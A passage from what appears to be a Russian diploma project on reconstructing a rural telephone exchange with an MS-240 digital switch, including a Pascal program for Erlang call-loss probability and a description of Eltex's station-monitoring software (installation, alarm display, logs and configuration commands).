МС-2400,0004. следовательно существенной может быть только погрешность, вносимая допущением о нормальном законе распределения.

Напишем программу на языке Pascal для расчета вероятности потери вызова, а на рисунке 3.7 приведем ее алгоритм.

program laura1;

uses crt;

const n=10;

var Pn,Rn,Rj,ly,nu,sum,R,f,f2:real;

a:array[1..n] of integer;j:integer;

begin

clrscr;

writeln(‘inter number of chanel n=’,n:1);

write(‘inter ly =’);readln(ly);

write(‘inter nu =’);readln(nu);

R:=ly/nu;

writeln(‘result R=’,R:4:10);

f:=1;

for j:=1 to n do

f:=f*j;

writeln(‘fa=’,f:4:10);

Rn:=exp(n*ln(R))/f;

writeln(‘result Rn=’,Rn:7:10);

sum:=0;

f2:=1;

for j:=1 to n do

begin

f2:=f2*j;

Rj:=exp(j*ln(R));

sum:=sum+(Rj/f2);

writeln(‘sum=’,sum:7:10);

end;

Pn:=Rn/sum;

writeln(‘Pn=’,Pn:7:10);

end.

n=10

Рn=0,0000151088

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.7 – Алгоритм расчета вероятности потери вызова

3.3 Программа мониторинга сети станций и настройка объектов мониторинга

3.3.1 Общее описание системы

Система предназначена для удаленного мониторинга состояния станций МС-240. Программа является удобным средством для непосредственного наблюдения за параметрами устройств, расположенными в удаленных населенных пунктах. Программа позволяет оперативно отслеживать следующие характеристики оборудования:

– работа центрального процессора (ЦП);

– работа устройств электропитания (УЭП);

– состояния соединительных линий (потоки Е1, DLS);

– состояния датчиков телеметрии;

– работа модулей периферии.

Система позволяет осуществлять мониторинг других типов оборудования предприятия «Элтекс»: мультиплексора Маком-МХ, МС-240 версии 2, коммутатора потоков, устройств доступа МХЕ-4 и МХМ-12.

Состояние объектов отображается на условной карте. Аварийные сообщения сохраняются в журнал, а также сопровождаются звуковой и световой сигнализацией. Есть возможность дублировать аварийные сообщения на внешний блок аварийной сигнализации БАС.

Система может использоваться и для мониторинга локальной станции МС-240. В этом случае все элементы системы устанавливаются на один компьютер (рисунок 3.8).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.8 – Пример внешнего вида основного окна

программы мониторинга

Комплекс состоит из следующих элементов (рисунок 3.9):

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.9 – Возможная структура системы мониторинга сети

станций MC-240

– NCS – программа доступа к объектам сети. Позволяет осуществлять доступ к станциям и мультиплексорам, а также создает «сквозные» каналы связи для программ-конфигураторов. В функции программы входит кэширование сообщений от объектов, с последующим предоставлением информации удаленным программам мониторинга.

– MON – программа удаленного мониторинга. Предназначена для организации удаленных терминалов мониторинга сети станций. Программа отображает состояния объектов, полученные при помощи NCS. Сама программа MON не имеет возможности подключаться к реальным объектам сети.

– PbxAdm – программа конфигуратор станций МС-240 с центральным процессором третьей версии. Программа поддерживает способ подключения «IP-транзит», позволяющий конфигурировать станции через канал, предоставленный сервером NCS.

– MxAdm – программа конфигуратор мультиплексоров Маком-МХ. При запуске из интерфейса NCS использует канал сервера NCS для подключения к мультиплексору.

– SQL-сервер Firebird – используется комплексом для хранения конфигурации сети, а также хранения конфигураций объектов. Является обязательным компонентом системы.

Установка, системные требования. Для работы системы мониторинга ЦАТС «МС240» необходим компьютер с установленной операционной системой Windows® 2000 SP4/XP SP2. Минимальные требования к аппаратному составу компьютера:

– процессор Intel Pentium III-IV (Celeron) или AMD Athlon;

– ОЗУ 256Мб;

– НЖМД 20Гб;

– Свободный последовательный порт или установленный модем;

– Сетевая карта;

– Монитор SVGA. Разрешение 1024х768 или выше.

Программа используется при разрешении экрана не менее 1024х768, минимальная разрядность 16 бит. Для установки программы необходимо не более 100Мб дискового пространства, а также требуется свободное место на диске, которое определяется объемом обрабатываемых данных (периодичность тестирования, количество объектов и т.д.)(Минимум 200Мб).

В качестве хранилища сетевых объектов (станций и узлов), параметров соединительных линий и журналов аварий программа использует SQL-сервер Firebird. Сервер Firebird является программным продуктом с открытым исходным кодом (open source) и не налагает на пользователя никаких лицензионных ограничений. Дистрибутив SQL-сервера поставляется вместе с установочным пакетом мониторинга. Минимальная версия сервера 1.5.2.

Система позволяет устанавливать все компоненты как на один компьютер, так и на разные.

Отдельные терминалы мониторинга могут быть установлены на любой компьютер, имеющий доступ по TCP/IP протоколу к серверам NCS и SQL.

Установка системы производится в следующем порядке:

– Установка SQL сервера Firebird. В параметрах установки не менять установленные по умолчанию параметры. Выбрать тип сервера SuperServer. Тип запуска – автоматический.

– Установка NCS. Программа будет инсталлирована в каталог «c:eltexncs». Одновременно в каталог «c:eltexbase» инсталлятор поместит файл базы данных «mc240-net.fdb». Этот файл предназначен для хранения конфигурации сети, объектов мониторинга, карт, журналов и прочей оперативной информации системы. Удалять и переносить файл нельзя (без предварительной настройки параметров системы).

– Установка PbxAdm. Программа по умолчанию инсталлируется в каталог «c:eltexPbxAdmFib.»

– Установка MON. Программа дополнительного мониторинга устанавливается на другой компьютер сети предприятия. Инсталлятор помещает её в каталог «c:eltexmon». После установки необходимо прописать IP адрес компьютера, на котором установлен SQL сервер. Для этого необходимо открыть любым текстовым редактором файл «c:eltexmonpbxnet.ini» и в строке FB_HOST=127.0.0.1 исправить параметр «127.0.0.1» на реальный адрес компьютера. Инсталлятор предлагает создать ярлыки на рабочем столе Windows, а также помещает ярлыки в список программ в «Программы/Eltex/Мониторинг МС-240».

Настройка программы. В первую очередь производится настройка имени SQL сервера в программе NCS. По умолчанию, считается, что NCS и SQL сервера находятся на одном компьютере. Поэтому в настройке NCS установлен локальный адрес «127.0.0.1». Если SQL сервер был установлен на 8 Цифровая АТС «МС240″Руководство по эксплуатации Программа удаленного мониторинга другой компьютер, то его адрес необходимо прописать в файле «c:eltexncspbxnet.ini» в параметре FB_HOST=127.0.0.1, вместо локального адреса прописать реальный. Это необходимо сделать до запуска программы. Все остальные настройки можно производить из интерфейса программы NCS [П.Ж].

3.3.2 Настройка объектов мониторинга

Настройка узлов. Объекты мониторинга (станции, мультиплексоры) могут располагаться как в основном «базовом» узле, который виден, когда открывается программа, так и в дочерних узлах. Узлы предназначены для группировки объектов по смыслу. Узлы удобно применять в программах мониторинга верхнего уровня. Например, в программе мониторинга, установленной в областном центре можно сконфигурировать сеть районов в виде узлов. Тогда на основной карте области, вместо десятков станций может быть лишь несколько узлов. При аварии на объекте, помещенном внутрь узла, сам узел будет привлекать к себе внимание.

Чтобы добавить новый узел на карту необходимо в меню «Объекты» выбрать «Новый узел» или на пустом месте на карте нажать правую кнопку мыши и в меню выбрать «Новый узел». Затем заполнить данные и нажать кнопку «Ок» (рисунок 3.10).

Чтобы открыть содержимое узла, нужно два раза щелкнуть левой кнопкой мыши на его изображении. Чтобы вернуться назад, нужно нажать клавишу «Esc» или мышкой на зеленую стрелку возврата в меню (рисунок 3.11).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.10 – Свойства узла

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.11 – Иллюстрация узловой конфигурации

На рисунке 3.11 приведен пример узловой конфигурации, здесь программа мониторинга обнаружила в узле «Искитим» аварию на одном из объектов. Для того чтобы точнее узнать о аварии необходимо щелкнуть левой кнопкой мыши два раза на изображении узла или выделить одиночным щелчком левой кнопкой и нажать «Enter».

Чтобы изменить название или пометки, необходимо выбрать пункт меню «Объекты/Свойства объекта» или выделить объект, нажать правую кнопку мыши и выбрать пункт «Свойства объекта».

Удаление узла производится через пункт меню «Объекты/Удалить объект». Или через дублирующую кнопку на панели управления.

При нажатии правой кнопки мыши на узле появляется меню, позволяющее делать следующие операции:

– удалить узел;

– выключить мониторинг всех объектов узла;

– включить мониторинг всех объектов узла;

– свойства узла.

Типы объектов мониторинга. Программа позволяет проводить мониторинг следующих типов оборудования, производимого предприятием «Элтекс»:

– станция МС-240 (ЦПv3);

– станция МС-240 (ЦПv2);

– центральная станция (коммутатор потоков);

– гибкий мультиплексор Маком-МХ;

– мультисервисное устройство доступа МХЕ-4;

– мультисервисное устройство доступа МХМ-12;

– абонентский вынос на базе мультиплексора Маком-МХ (через DSL).

В программе предусмотрена возможность добавления на карту объектов с названием «Внешняя станция». Этот тип объектов предназначен для визуализации связей оборудования предприятия «Элтекс» с любым другим оборудованием.

Выбор типа оборудования производится при добавлении объекта на карту. Изменение типа оборудования после создания невозможно.

Добавление нового объекта на карту производится одним из следующих способов (рисунок 3.12):

1. Через основное меню программы, пункт меню «Конфигурация сети/Добавить объект»;

2. Щелчком правой кнопки мыши на незанятом участке карты вызвать окно со списком оборудования и выбрать соответствующего типа оборудования из выпадающего списка.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.12 – Добавление нового объекта через меню

При выборе пункта меню «Новая станция» программа предложит диалог выбора типа станции (рисунок 3.13).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.13 – Выбор типа станции

При выборе типа станции «АТС МС-240 ЦПv3», программа выведет диалог настройки доступа к объекту. В диалоге необходимо указать название объекта, краткое описание (если нужно), тип доступа, параметры доступа (зависит от типа), пароль.

Типы доступа к станции МС-240 ЦПv3 (Приложение З):

Телеметрия. Система мониторинга позволяет отслеживать следующие параметры (рисунок 3.14):

– наличие доступа к станции;

– основные параметры центрального процессора;

– состояния модуля электропитания (УЭП), наличие первичного напряжения, тока заряда батарей и проч.;

– показания датчиков температуры и влажности;

– состояние датчиков телеметрии;

– состояние цифровых потоков.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.14 – Настройка телеметрии

Для активации мониторинга объекта нужно выставить флаг «Мониторинг состояний» в диалоге «Свойства станции». В диалоге «Объекты мониторинга» ставятся флаги мониторинга отдельно для УЭП и датчиков телеметрии.

Примечание: для мониторинга датчиков телеметрии, в станции должен быть установлен соответствующий модуль. Не все модули телеметрии содержат в себе датчики температуры и влажности.

Диалог телеметрии позволяет настроить мониторинг восьми внешних датчиков и двух встроенных. При этом в левой колонке выставляется флаг мониторинга, в графе «Назначение» можно написать название объекта, куда установлен датчик (например: дверь, окно, магазин и т.д.). В правой колонке «Инверс» устанавливается режим опроса датчика. Если выставлен флаг инверсии, значит аварийное состояние датчика – разомкнутое. В обычном режиме аварийное состояние датчика – замкнутое. После перехода датчика в исходное состояние и режим аварии объекта будет выключен.

Примечание: для корректной работы триггеров датчиков телеметрии на станции так же должен быть выбран соответствующий режим (настраивается при помощи программы PbxAdm).

Контроль устройства электропитания может производиться в двух режимах. Режим устанавливается при помощи флага «Расширенная сист.». Если установлен этот флаг, то контроль модуля осуществляется по схеме повышенного быстродействия и уменьшения трафика.

Для работы по такой схеме необходима прошивка станции МС-240 не ниже версии 5.1.36 и прошивка модуля МК устройства УЭП не раньше 1 авг. 2006г.

Соединительные линии. Программа позволяет осуществлять мониторинг соединительных линий – цифровых потоков Е1 и DSL линий. Для осуществления мониторинга сначала нужно создать «линк» между двумя объектами на карте. Для этого необходимо щелкнуть правой кнопкой мыши на объекте, поток которого должен отслеживаться и выбрать в выпадающем меню «Межстанционные связи/Выбор станции для соединения». В появившемся диалоге необходимо ввести параметры линка для первой станции: номер слота и номер порта (потока). Если между двумя объектами более одного потока, то для корректного отображения необходимо выбрать индекс соединения (от нулевого и далее) (рисунок 3.15).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.15 – Настройка мониторинга соединительной линии

В поле «Условное название» можно ввести смысловое значение. Название будет фигурировать в журналах аварий. Т.е. при аварии, кроме указания параметров слот/порт будет внесено условное название. Пример мониторинга соединительных линий показан в Приложении И.

Карта. Карта предназначена для улучшения восприятия информации. В качестве карты может быть задан любой рисунок в формате BMP или JPG, с достаточным для размещения объектов размером. Чтобы задать карту нужно выбрать пункт меню «Конфигурация сети/Карта/Задать карту для текущего узла». После чего программа покажет диалог выбора файла. Нужно найти файл на диске и нажать «Открыть». Карта задается для текущего узла. Например, на поле базового узла можно поместить карту области, а в узлах сконфигурировать станции районов и поместить в соответствующие узлы карты районов.

Удаление карты производится при помощи пункта меню «Конфигурация сети/Карта/Удалить карту».

Примечание: когда задана карта местности, то отображение линков производится только в пределах карты.

Перемещение объектов по карте мониторинга. Каждый вновь созданный объект помещается в левый верхний угол экрана, если объект создан через главное меню программы и в место расположения курсора, если объект создан через всплывающее меню по правой кнопке мыши. Для того чтобы поменять местоположение объекта на форме программы нужно удерживая на клавиатуре клавишу “Ctrl”, выделить объект левой кнопкой мыши и не отпуская кнопку мыши переместить объект на новое место. После чего отпустить левую кнопку мыши и клавишу “Ctrl” (механизм Drag&Drop Windows). После перемещения объекта будут перерисованы и его связи. Чтобы поместить объект в узел можно переместить его на изображение нужного узла и отпустить кнопку мыши «над» узлом. После подтверждающего запроса объект будет помещен внутрь узла. Чтобы переместить объект «вверх» по дереву, т.е. в предыдущий узел, нужно выделить объект, нажать правую кнопку мыши и выбрать в выпадающем меню пункт «Переместить объект в предыдущий узел».

3.4 Отображение аварийных состояний и описание элементов Интерфейса

3.4.1 Общие сведения по аварийным состояниям

Система мониторинга позволяет просматривать основные параметры объекта, а также отображать аварии объектов и их модулей. Для станции МС-240 ЦПv3 можно получить следующие характеристики ЦП (рисунок 3.16):

– время в работе – время, в течение которого станция проработала с момента последней перезагрузки;

– источник синхронизации – локальная или внешняя (указывается слот/порт);

– количество задач – информация о работе внутреннего ПО станции;

– загрузка процессора;

– количество портов – общее число сконфигурированных портов на станции;

– всего перезагрузок – число перезагрузок станции с момента очистки счетчика;

– версия ПО – версия и дата компиляции внутреннего ПО;

– напряжения – напряжения, выдаваемые вторичным источником;

– информация о работе станции до перезагрузки – позволяет узнать время включения и время выключения станции до последнего перезапуска;

– системное время станции.

Примечание: системное время станции можно синхронизировать с управляющим компьютером. Для этого необходимо нажать на кнопку, расположенную правее отображения времени. Если разбег часов станции и компьютера более 10 минут, то это отобразится красным фоном в диалоге.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.16 – Информация о станции МС-240 ЦПv3

Кнопки «УЭП» и «Датчики» позволяют открыть соответствующие диалоги по отображению информации. Если кнопка «Датчики» не активна, то в станцию не установлен модуль телеметрии. В случае если кнопка «УЭП» не активна – УЭП недоступен центральному процессору.

3.4.2 Потеря связи с объектом

Если программа мониторинга не может соединиться со станцией (мультиплексором) или после соединения произойдет обрыв сеанса связи, то объект на карте перейдет в состояние аварии. При этом на изображении объекта будет мигать яркий восклицательный знак, а также программа будет издавать сигнал системным динамиком компьютера и мигать окном приложения (если оно свернуто). В строке статуса отображается причина аварии. Например, если не удалось установить соединение, то может быть указан неверный пароль, неверный способ доступа или адрес. В процессе соединения отображается объект и зеленая стрелка к нему [П.К].

После установления соединения с объектом рядом с ним (справа сверху) отобразится латинская буква «i» в зеленом круге. Если активирован мониторинг датчиков телеметрии и модуля УЭП, то отобразятся соответствующие значки рядом с объектом (подробнее см. ниже).

При потере связи с объектом система будет делать периодические попытки восстановить связь.

3.4.3 Срабатывание датчика телеметрии

Если система мониторинга обнаружила, что сработал один (или несколько) датчиков телеметрии, подключенных к станции МС-240, то соответствующий объект на карте будет подсвечен знаком аварии (мигающий восклицательный знак). Причина аварийного состояния объекта, т.е. срабатывание датчика, будет написана в строке статуса программы, а также подсвечиваться, при наведении на объект указателя мыши (рисунок 3.17).

Чтобы уточнить какой именно датчик (или несколько датчиков) сработал, нужно вызвать меню, нажав правую кнопку мыши на объекте и выбрать «Состояние датчиков» или «Показать аварии объекта» (рисунок 3.18).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.17 – Срабатывание датчика телеметрии

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.18 – Диалог состояния датчиков телеметрии, сработка «Датчик-6»

3.4.4 Аварийное состояние климатических датчиков

Если система мониторинга обнаружила, что показания датчиков температуры или влажности вышли из допустимого диапазона, то соответствующий объект на карте будет подсвечен знаком аварии (мигающий восклицательный знак). Причина аварийного состояния объекта, т.е. определение типа аварийного датчика, будет написана в строке статуса программы, а также подсвечиваться, при наведении на объект указателя мыши.

3.4.5 Авария УЭП

Авария модуля электропитания (УЭП) разделяется на несколько типов:

– модуль УЭП недоступен центральному процессору. Причиной может быть как поломка модуля УЭП, так и повреждение (отсутствие) соединяющего кабеля;

– пропадание первичного напряжения 220В;

– превышение тока заряда батарей;

– превышение тока нагрузки;

– выход напряжений за установленные пределы (пределы устанавливаются конфигуратором станции).

Также как и прочие аварии, авария УЭП отображается мигающим восклицательным знаком на изображении объекта, а также соответствующим изображением. УЭП отображается в виде вилки электропитания, расположенной слева от станции. Красный цвет «вилки» говорит о аварии, связанной с работой модуля (выход номиналов напряжения или тока за установленные пределы, пропадание первичной сети). Желтый цвет «вилки» сообщает о недоступности для ЦП модуля УЭП. Зеленый цвет сообщает о нормальной работе (рисунок 3.19).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.19 – Модуль УЭП в норме

Для просмотра характеристик модуля УЭП (если он доступен ЦП) нужно выбрать пункт меню «Информация по УЭП» (рисунок 3.20).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.20 – Информация о состоянии модуля УЭП

3.4.6 Авария потока Е1

Мониторинг состояний потоков (линков) производится путем периодического опроса соответствующих объектов. В нормальном состоянии линки отображаются на карте зеленым цветом (рисунок 3.21).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.21 – Линк в исходном состоянии, отображается зеленым цветом

Система мониторинга отображает следующие типы аварий:

– потеря потока (LOS);

– потеря цикловой синхронизации (LOF);

– потеря сверхцикловой синхронизации (LOMF);

– аварийный сигнал (AIS);

– удаленная авария (RA);

– удаленная авария сверхцикла (RA16);

– коэффициент ошибок 10-3;

– коэффициент ошибок 10-6;

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.22 – Сконфигурированный, но не активный, линк отображается серым цветом

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.23 – Поток в состоянии аварии отображается красным цветом. На станции знак аварии

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.24 – Если объект мониторинга недоступен, то его линки отображаются серым цветом

При наведении указателя мыши на объект, программа подсветит причину аварии, которая будет продублирована в строке статуса.

3.4.7 Журнал работы

Система мониторинга производит сохранение всех изменений состояний объектов карты в журнал мониторинга. В журнал сохраняется следующая информация (рисунок 3.25):

– запуск и установка программы мониторинга (NCS);

– запуск конфигураторов объектов;

– запуск и останов мониторинга объекта карты;

– ошибки соединения с объектами;

– аварии объектов;

– аварии линков;

– срабатывание датчиков телеметрии (включая переход в нормальное состояние);

– авария модулей УЭП;

– регистрация дежурного.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.25 – Просмотр журнала работы

Форма просмотра журнала позволяет фильтровать сообщения, помечать прочитанные, сортировать и экспортировать списки.

Панель фильтров в левой части формы позволяет вывести сообщения по следующим параметрам:

– объект;

– тип события;

– категория срочности;

– фильтр по времени.

Для обновления данных в соответствии с фильтром или сортировкой нужно нажать кнопку «Обновить» или клавишу «F5».

Критические сообщения выделены красным цветом, мажорные – желтым, минорные – голубым. Чтобы поставить отметку о том, что сообщение прочитано, нужно дважды щелкнуть на соответствующей записи.

Экспорт данных производится из меню панели инструментов формы. После нажатия соответствующей кнопки нужно ввести имя экспортируемого файла. По умолчанию «journal.csv». Экспорт будет произведен в текстовый файл с разделителями столбцов знаком точка с запятой «;». Открыть, отредактировать и распечатать этот файл можно при помощи программы Microsoft Excel.

Для просмотра журнала аварий нужно выбрать в главном меню программы «Журналы/Журнал аварий» или нажать “Ctrl+J”.

3.4.8 Список аварий объекта

Каждый объект мониторинга имеет собственный список аварий. В этом списке содержатся как активные, на данный момент, аварии, так и неактивные непрочитанные. Активной является авария, если в объекте на текущий момент авария не снята. Например, пропал источник синхронизации или произошла потеря потока. Неактивной аварией считается авария, которая произошла, но потом, по какой-то причине произошло самовосстановление ситуации. Например, пропало первичное питание на УЭП, затем, через какое-то время, само восстановилось. Если у объекта есть хоть одна активная авария, объект сигнализирует об этом на экране и раздается звуковой сигнал. Активную аварию можно замаскировать. Для этого нужно навести указатель на объект, нажать правую кнопку мыши и в меню выбрать пункт «Показать аварии объекта». Откроется форма, на которой отображаются активные и неактивные аварии. При деактивации аварий, активные аварии маскируются, а неактивные помечаются как прочитанные. Этот механизм используется следующим образом: после того, как появилась сигнализация об активной аварии, обслуживающий персонал может заняться её устранением, и чтобы данная авария не привлекала больше внимания, её маскируют. Отображение неактивных аварий предназначено для того, чтобы привлечь внимание персонала к тому, что на объекте происходили какие-то аварии во время отсутствия дежурного. Если объект содержит неактивные непрочитанные аварии, то на его изображении на форме мониторинга, высвечивается соответствующий знак (рисунки 3.26, 3.27, 3.28, 3.29).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.26 – Список аварий объекта – активные аварии

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.27 – Список аварий объекта – замаскированные аварии

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.28 – Отображение замаскированных аварий на объекте

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.29 – Отображение неактивных непрочитанных аварий

На панели инструментов главной формы программы есть кнопка, при нажатии на которую программа выведет общий список аварий всех объектов мониторинга. Она находится рядом с кнопкой журнала аварий.

3.4.9 Настройка критических значений МС-240 ЦПв3

Форма настройки критических значений для станции МС-240 ЦПв3 вызывается через пункт меню «Конфигурация сети/Настройка критических значений». Предварительно необходимо выделить соответствующий объект. На форме настройки можно задать критические значения (минимальное и максимальное) для следующих параметров станции:

Питание:

– +5В;

– -24В;

– +5В аналоговые;

– +60В;

– -5В;

– -60В;

– +12В;

– ГИВ;

УЭП:

– 60В;

– Ток нагрузки;

– Ток заряда;

Датчики телеметрии:

– Температура;

– Влажность;

Выход значений за заданные диапазоны будет восприниматься системой мониторинга как аварийная ситуация.

Главное меню программы состоит из следующих разделов:

– Файл – раздел для настройки и отладки программы;

– Конфигурация сети – раздел для добавления, удаления объектов и настройки их свойств;

– Телеметрия МС-240 – раздел для просмотра информации и телеметрии;

– Журналы – для просмотра журналов;

– Справка (?) – для получения информации о программе.

Панель инструментов предназначена для быстрого доступа к наиболее часто применяемым пунктам меню (рисунок 3.30).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.30 – Панель инструментов

Кнопки панели инструментов автоматически активируются и деактивируются при выделении объектов карты левой кнопкой мыши.

Всплывающее меню появляется на экране при нажатии правой кнопки мыши на любом объекте. В зависимости от типа объекта, всплывающее меню содержит соответствующие пункты (рисунок 3.31).

Всплывающее меню дублирует свойства главного меню программы и панели инструментов, но, кроме того, позволяет производить дополнительные действия с текущим объектом.

Следующие пункты характерны только для всплывающего меню:

– Переместить объект в предыдущий узел – применяется для перемещения текущего объекта из вложенного узла «вверх» по иерархии;

– Межстанционные связи – в этом пункте реализовано подменю, позволяющее создавать, удалять и редактировать линки между объектами.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.31 – Всплывающее меню

Строка статуса расположена в нижней части основной формы программы и предназначена для отображения текущих параметров выделенного объекта (рисунок 3.32).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.32 – Иллюстрация строки статуса

В строке статуса отображается следующая информация (слева направо, по разделам):

– название станции и наличие связи;

– время в работе (если информация получена);

– время в работе (если информация получена);

– информация о состоянии программы в режиме конфигурирования Линков;

– аварийные сообщения.

Список сочетаний клавиш для осуществления ряда операций, без использования указателя мыши:

— Ctrl+A – настройка программы;

— Ctrl+N – новая станция;

— Ctrl+Del – удалить текущий объект;

— Ctrl+P – свойства текущего объекта;

— Ctrl+I – информация по текущему объекту;

— Ctrl+J – посмотреть журнал работы и аварий;

— Ctrl+R – регистрация оператора.

3.4.10 Настройка конфигураторов объектов

Для каждого типа объектов мониторинга назначается своя программа-конфигуратор. Также, можно назначить разные версии программы для отдельных объектов одного типа. Например, для станции МС-240 ЦПв3 с прошивкой 5.1.35 назначается конфигуратор PbxAdm432, а для версии прошивки 5.1.36 назначается конфигуратор PbxAdm433d и т.д.

В первую очередь, нужно внести программу в список конфигураторов. Для этого нужно в меню «Файл» выбрать «Список конфигураторов». В открывшемся диалоге, нажать кнопку «Добавить» и указать файл на диске. Удалить конфигуратор из системы можно только в том случае, если он не настроен ни на один объект мониторинга. Если необходимо заменить версию конфигуратора, то поместить обновление можно в любой каталог, но в форме настройки конфигураторов нажать кнопку «Изменить». При этом, изменения коснутся всех объектов, для которых был настроен предыдущий конфигуратор. Затем производится настройка конфигуратора для каждого объекта. Для этого нужно выделить объект и нажать в меню «Конфигурация сети/настроить конфигуратор». В появившемся диалоге выбрать нужную программу из списка и нажать «ОК».

Примечание: для объектов МС-240 ЦПв3 можно задать конфигуратор «по умолчанию».

Этот конфигуратор будет автоматически присваиваться всем, вновь создаваемым, объектам этого типа. Для этого нужно зайти в форму настройки общего списка конфигураторов, выделить нужный и нажать «По умолчанию».

Запуск конфигуратора производится двойным щелчком левой кнопки мыши на объекте.

Если необходимо запустить конфигуратор без подключения к объекту, например, для просмотра или редактирования конфигурации, нужно нажать правую кнопку мыши на объекте и выбрать пункт меню «Запустить конфигуратор без подключения». Программа-конфигуратор сохраняет в базе данных текущий файл конфигурации для каждого объекта, поэтому при запуске конфигуратора происходит автоматическое подключение файла конфигурации. Для объекта МС-240 можно посмотреть, какой файл конфигурации является активным, не запуская конфигуратор.

Для этого нужно нажать правую кнопку мыши и выбрать «Свойства объекта».

После запуска конфигуратора происходит его подключение к системе мониторинга и соединение непосредственно с объектом. На экране факт подключения конфигуратора к конкретному объекту можно увидеть в виде буквы «А» на пиктограмме объекта. Буква «L» означает, что конфигуратор подключен локально (на этом компьютере). Если конфигуратор запущен с другого ПК, то на пиктограмме будет только буква «А» (рисунок 3.33).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.33 – Пример объекта с запущенным конфигуратором

Если программа PbxAdm была свернута в системную панель или переведена на задний план клавишами “Alt+Tab”, то вернуть её можно, сделав повторно двойной щелчок на объекте.

Одновременный запуск более одного конфигуратора для одного объекта запрещен.

Примечание: на время запуска конфигуратора собственный обмен программы мониторинга с объектом блокируется. Это значит, что аварийные состояния не будут фиксироваться программой мониторинга, пока конфигуратор текущего объекта не будет закрыт. Мониторинг других объектов будет происходить без изменений. Запускать одновременно много конфигураторов для множества объектов не рекомендуется.

3.5 Управление ЦАТС «МС240»

3.5.1 Общие принципы управления

Все операции по управлению ЦАТС выполняются в программе PbxAdm в режиме подключения к станции. Для более подробного ознакомления с программой PbxAdm см. «МС240».

Руководство по эксплуатации. Часть 3. Программа конфигурирования и мониторинга». Операции управления делятся на три группы:

– оперативное вмешательство (оперативные команды или команды);

– оперативное изменение конфигурации;

– полное переконфигурирование.

К оперативным командам относятся:

– команда «Перезапуск станции»;

– команда «Включить/выключить порт»;

– команда «Сбросить порт»;

– команда «Тестировать порт»;

– команда «Тестировать слот»;

– команда «Автоматическое тестирование».

– команда «Синхронизация календаря».

Оперативные команды не вносят изменения в конфигурацию и выполняются немедленно после подачи команды в станцию. Все эти команды производятся из раздела «Мониторинг» путем вызова контекстного меню или нажатием соответствующей кнопки в инструментальной панели программы.

Оперативное изменение конфигурации производится передачей в станцию только параметров выбранного объекта. Такими объектами могут быть абонентские порты, порты СЛ, общие параметры станции и блоки параметров портов.

Для внесения оперативных изменений вызывается окно редактирования свойств объекта и вносятся изменения. Затем из контекстного меню (правая кнопка мыши) выбирается пункт «Записать» — информация передается в станцию. При этом на модуле ЦП начинает мигать зеленый индикатор «Режим», что означает изменение конфигурации. После 30 секундного интервала происходит автоматический подсчет контрольной суммы новой конфигурации и мигание индикатора прекращается. Выполнив команду «Сверка контрольных сумм» (сверяются контрольные суммы конфигураций в станции и в программе PbxAdm), можно досрочно осуществить пересчет контрольной суммы конфигурации в станции.

Полное переконфигурирование означает запись в станцию полной конфигурации из программы PbxAdm. Это необходимо при внесении изменений в план нумерации, при изменении категорий доступа и прочих характеристик общестанционных объектов.

При полном переконфигурировании в конфигурацию вносятся все необходимые изменения, а затем выполняется запись всей конфигурации в станцию путем выполнения команды меню «Конфигурация/Записать». Во время записи происходит автоматическая сверка контрольных сумм только что записанных блоков, что повышает защищенность от ошибок передачи данных.

По окончанию записи будет автоматически предложен перезапуск станции, который необходимо выполнить для того, чтобы изменения вступили в силу. После перезапуска и восстановления соединения со станцией можно продолжить работу.

Примечание. При большом объеме изменений рекомендуется сохранить конфигурацию на диске ПК в файле с новым именем.

Категории определяют взаимодоступность внутренних объектов станции между собой. Например, доступность направлений (транковых групп) для абонентов.

